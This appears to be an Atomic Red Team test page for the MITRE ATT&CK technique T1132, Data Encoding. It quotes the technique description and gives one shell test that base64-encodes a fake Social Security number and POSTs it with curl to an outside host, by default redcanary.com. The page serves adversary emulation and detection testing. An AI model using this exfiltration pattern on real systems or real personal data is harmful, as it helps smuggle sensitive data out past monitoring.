33 lines
1.2 KiB
Markdown
33 lines
1.2 KiB
Markdown
# T1132 - Data Encoding
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## [Description from ATT&CK](https://attack.mitre.org/wiki/Technique/T1132)
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<blockquote>Command and control (C2) information is encoded using a standard data encoding system. Use of data encoding may be to adhere to existing protocol specifications and includes use of ASCII, Unicode, Base64, MIME, UTF-8, or other binary-to-text and character encoding systems. (Citation: Wikipedia Binary-to-text Encoding) (Citation: Wikipedia Character Encoding) Some data encoding systems may also result in data compression, such as gzip.</blockquote>
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## Atomic Tests
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- [Atomic Test #1 - Base64 Encoded data.](#atomic-test-1---base64-encoded-data)
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<br/>
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## Atomic Test #1 - Base64 Encoded data.
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Utilizing a common technique for posting base64 encoded data.
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**Supported Platforms:** macOS, Linux
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#### Inputs
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| Name | Description | Type | Default Value |
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|------|-------------|------|---------------|
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| destination_url | Destination URL to post encoded data. | string | redcanary.com|
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| base64_data | Encoded data to post using fake Social Security number 111-11-1111. | string | MTExLTExLTExMTE=|
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#### Run it with `sh`!
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```
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echo -n 111-11-1111 | base64
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curl -XPOST #{base64_data}.#{destination_url}
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```
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<br/>
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